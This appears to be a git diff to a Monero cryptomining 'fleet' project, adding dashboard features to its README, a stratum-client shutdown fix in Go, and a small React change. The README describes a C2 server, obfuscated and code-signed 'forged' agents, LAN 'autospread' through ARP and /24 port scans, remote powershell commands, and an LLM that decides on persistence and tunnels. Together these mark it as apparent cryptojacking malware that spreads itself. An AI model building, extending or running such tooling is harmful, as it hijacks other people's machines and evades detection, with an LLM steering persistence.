diff --git a/README.md b/README.md index 4bb5419..24d80c7 100644 --- a/README.md +++ b/README.md @@ -50,11 +50,19 @@ You configure defaults once in **Calibrate**. You forge once per machine (or bat ### Command Deck (Dashboard) - **Sign-in gate** — dashboard API uses HTTP Basic auth; browser session stored until you close the tab - Live fleet hashrate, CPU/RAM gauges, share feed -- **3D fleet topology map** — agents orbiting the server node (React Three Fiber) +- **Fleet Health Score** — weighted 0–100 score (online %, accept rate, pool status, hashrate) with colour-coded NOMINAL / DEGRADED / CRITICAL chip +- **Contribution Map** — per-agent hashrate bars showing each machine's fleet share; displays USD/day per agent when XMR price is loaded +- **Underperformer list** — machines below 70% of fleet median, with one-click "Restart All" to remediate laggards +- **OS / Arch Breakdown** — proportional bars by platform + architecture (Win/Linux/macOS, amd64/arm64) +- **LAN Group View** — agents grouped by /24 subnet; online count and aggregated hashrate per segment +- **Simple / Advanced toggle** — hides charts, logs, and AI panels by default; persisted across sessions +- **XMR price** — server-side CoinGecko fetch, 10-minute cache; displayed on the Earnings Estimator card +- **Earnings Estimator** — XMR/day formula estimate (or live pool data from SupportXMR); USD/day and time-to-payout shown when XMR price is available +- **3D fleet topology map** — agents orbiting the server node (React Three Fiber); staleness ring highlights agents that claim "online" but haven't been seen in >5 minutes - Per-agent cards with pause / resume / stop / uninstall - Fleet alerts (offline, hashrate drop, rejection spikes) -- Pool connection status, earnings estimate, AI activity panel -- Optional matrix stream overlay +- Pool connection status and AI activity panel (Advanced mode) +- Optional matrix stream overlay (Advanced mode) ### Fleet Roster (Agents) - Every connected worker — hostname, IP, cores, memory, uptime @@ -124,8 +132,12 @@ fusion-deliverables/Vacation/ ### Under the Hood - **Stratum proxy** — workers submit through your server; one upstream pool connection per wallet/host; `payment_id` appended to login when set in Calibrate +- **Stratum fallback** — agent mines directly to the configured pool when C2 has been unreachable for >30 seconds; cycles through backup pools; stops and hands off back to C2 when the server reconnects - **WebSocket hub** — agents and dashboard get live stats, jobs, alerts - **Fleet secret** — random token generated once on first run, baked into every forged agent; agents rejected if they don't present the matching secret +- **Hashrate reporting** — agent divides accumulated hashes by the elapsed interval (not a raw counter); 15s / 1m / 15m rolling averages sent on each stats tick +- **Process guard** — Unix `pgrep` fix: correctly matches only the agent binary (no false-positive self-kill) +- **ARP-first subnet scan** — autospread reads the OS ARP cache to find live LAN hosts before falling back to a full /24 port sweep; reduces noise from 253 cold probes to typically 5–20 - **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions; workers call `/api/v1/agent/decide` (fleet-secret gated) - **Garble obfuscation** — strips symbols and randomises identifiers in compiled agents; works on Windows, Linux, and macOS targets when `garble` is on PATH - **Cross-platform code signing** — uses Windows `signtool` on Windows forge hosts; falls back to `osslsigncode` on Linux/macOS @@ -242,6 +254,11 @@ crypto miner/ | GET | `/api/v1/builds/{id}/artifact/{name}` | Extra artifacts (ZIP, README, …) | | GET | `/api/v1/agents` | Fleet list | | POST | `/api/v1/agents/{id}/command` | Remote action (pause, powershell, …) | +| POST | `/api/v1/agents/bulk-command` | Send same command to multiple agents | +| GET | `/api/v1/alerts` | Active fleet alerts | +| GET | `/api/v1/pools/status` | Stratum pool connection states | +| GET | `/api/v1/earnings/estimate` | XMR/day estimate (or live SupportXMR data) | +| GET | `/api/v1/market/xmr` | XMR/USD spot price (CoinGecko, 10 min cache) | | WS | `/ws/agent` | Worker connection | | WS | `/ws/dashboard?token=` | Live dashboard feed (token = base64 of `user:pass`) | diff --git a/agent/miner/stratum.go b/agent/miner/stratum.go index d12311a..a014dfe 100644 --- a/agent/miner/stratum.go +++ b/agent/miner/stratum.go @@ -203,7 +203,10 @@ func (s *StratumClient) runPool(ep stratumEndpoint, stopCh <-chan struct{}) erro } }) - // Submit writer goroutine. + // innerDone is closed when runPool returns for any reason (connection error + // or stopCh). It signals the submit goroutine to exit even when stopCh is + // still open, preventing a hang until the next share arrives. + innerDone := make(chan struct{}) submitDone := make(chan struct{}) go func() { defer close(submitDone) @@ -211,6 +214,8 @@ func (s *StratumClient) runPool(ep stratumEndpoint, stopCh <-chan struct{}) erro select { case <-stopCh: return + case <-innerDone: + return case share, ok := <-shareCh: if !ok { return @@ -235,7 +240,22 @@ func (s *StratumClient) runPool(ep stratumEndpoint, stopCh <-chan struct{}) erro } } }() - defer func() { <-submitDone }() + // Signal the submit goroutine and wait for it when runPool returns. + defer func() { + close(innerDone) + <-submitDone + }() + + // Close the TCP connection as soon as stopCh fires so that the blocking + // reader.ReadString call (120 s deadline) unblocks immediately rather than + // making callers wait up to two minutes for the fallback to stop. + go func() { + select { + case <-stopCh: + _ = conn.Close() + case <-innerDone: + } + }() // ── Job receive loop ────────────────────────────────────────────────────── // keepalive every 60 s diff --git a/server/web/src/components/Fleet/FleetPanels.tsx b/server/web/src/components/Fleet/FleetPanels.tsx index 2d0d7ec..2858106 100644 --- a/server/web/src/components/Fleet/FleetPanels.tsx +++ b/server/web/src/components/Fleet/FleetPanels.tsx @@ -230,7 +230,7 @@ export function ContributionBars({ const agentXmr = xmrPerDay != null ? xmrPerDay * (b.pct / 100) : null; const agentUsd = agentXmr != null && xmrPrice ? agentXmr * xmrPrice : null; return ( -
+
{b.name}